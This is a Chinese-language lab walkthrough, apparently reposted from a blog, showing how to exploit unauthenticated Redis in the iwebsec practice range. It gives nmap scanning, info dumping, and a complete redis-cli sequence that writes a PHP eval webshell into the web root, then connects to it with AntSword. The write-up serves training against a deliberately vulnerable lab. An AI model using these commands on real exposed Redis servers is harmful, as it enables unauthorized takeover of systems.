iwebsec靶場的redis漏洞為未授權漏洞,如下所示。
一、Redis未授權漏洞原因
那么這個未授權漏洞的原理是什么呢?Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
簡單說,漏洞的產生條件有以下兩點:
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務
二、滲透環(huán)境搭建
首先在自己的機器搭建滲透環(huán)境,Kali虛擬機系統作為攻擊方,iwebsec的ubuntu虛擬機作為滲透靶場,為了保證兩臺機器可以互通,將兩臺虛擬機都設置為vmnet8的nat方式連接。
1.Kali系統作為攻擊方配置環(huán)境
在進行滲透的過程中,使用Kali作為攻擊主機,首先需要kali系統使用redis客戶端連接到靶機的redis服務器,即攻擊端需要安裝redis客戶端。
(1)Kali攻擊主機環(huán)境配置
使用ifconfig -a命令獲取ip地址,這里選擇vmnet8網段的192.168.71.129
?這樣如果靶機啟動redis服務進程后,就可以使用測試攻擊機Kali中的redis-cli程序和靶機的redis服務交互了。
(2)既然使用kali系統作為攻擊主機,那么攻擊機需要可以使用redis-cli程序來連接靶機的redis服務程序。于是需要使用apt-get install redis-server安裝redis,為避免安裝失敗可以先進行update,如下所示
sudo apt-get update
sudo apt-get install redis-server -y
安裝過程如下所示
(3) 安裝成功后執(zhí)行redis-cli -h確認安裝是否成功
sudo redis-cli -h
?當展示出如下界面時,代表安裝redis成功
?
?2.獲取靶機Redis服務器的ip地址與開啟的端口號
?(1)打開iwebsec虛擬機,通過ifconfig -a確認kali可以訪問的同一網段的ip地址,如下所示這里選擇使用vmnet8同一網段的ip地址192.168.71.151
(2)打開iwebsec靶場,如下所示關卡的最后一關為redis數據庫漏洞
點開后效果如下,提示redis端口為6379,用戶名密碼為空,正好滿足前面我們講過的redis未授權漏洞存在的前提。
3.獲取redis服務器的端口號
如上圖所示,iwebsec實際上是使用docker搭建的,也就是說這個ubuntu虛擬機中通關docker搭建的iwebsec靶場。docker中開啟的redis端口與這臺ubuntu虛擬靶機之間具有端口映射關系,這個端口映射是一一對應關系。接下來要做的就是通過docker命令查詢這個映射關系,以確定docker中的iwebsec在ubuntu中的端口號是什么
1)通過首先使用docker ps獲取到容器的id
docker ps
運行結果如下,docker容器的id為bc23a49cb37c
?如上端口號中有0.0.0.0:6379->6379/tcp,也就是說docker容器中的3306端口號映射到ubuntu虛擬機的6379端口號,那么也就是說通過訪問ubuntu的6379端口即可訪問到靶機的Redis服務
2)在ubuntu iwebsec虛擬機中此時使用netstat -ano|grep 6379時
netstat -ano|grep 6379
如下顯示出此端口已經打開
三、Redis滲透
1.Kali使用Nmap掃描靶機
我們在攻擊機使用nmap嘗試掃描靶機,命令如下
nmap 192.168.71.151 -p 6379
看看是否能掃描出redis服務端口號
2.Redis敏感信息獲取
kali攻擊機(模擬redis客戶端)執(zhí)行命令,
sudo redis-cli -h 192.168.71.151
?連接成功后在出現的交互界面中輸入info
info
效果如下
?如上所示,直接獲取到靶機redis服務的敏感信息
3.Redis上傳webshell獲取控制權
接下來打算在網站根目錄下放置一個webshell
(1)在網站的根目錄/var/www/html下寫一個webshell腳本,配置方法為
config set dir /var/www/html
(2)腳本名稱為shell.php
config set dbfilename shell.php
(3)腳本內容為<?php @eval($_POST['cmd']); ?>
set webshell "<?php @eval($_POST['cmd']); ?>"
綜上整體滲透腳本為
sudo redis-cli -h 192.168.71.151
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']); ?>"
save
滲透交互如下所示
?(4)使用瀏覽器訪問webshell,執(zhí)行cmd=phpinfo()獲取服務器的php信息,如下所示
由于webshell腳本被放到根目錄中,故而webshell的url鏈接為?http://192.168.71.151/shell.php?
post參數為 cmd=phpinfo();
?如上所示滲透成功
(5)蟻劍驗證webshell上傳成功
如下所示,webshell的url鏈接為?http://192.168.71.151/shell.php 連接密碼為cmd
?新增后效果如下,選擇文件管理
如下所示,滲透成功文章來源:http://www.zghlxwxcb.cn/news/detail-705840.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-705840.html
到了這里,關于iwebsec靶場 數據庫漏洞通關2-Redis數據庫漏洞的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!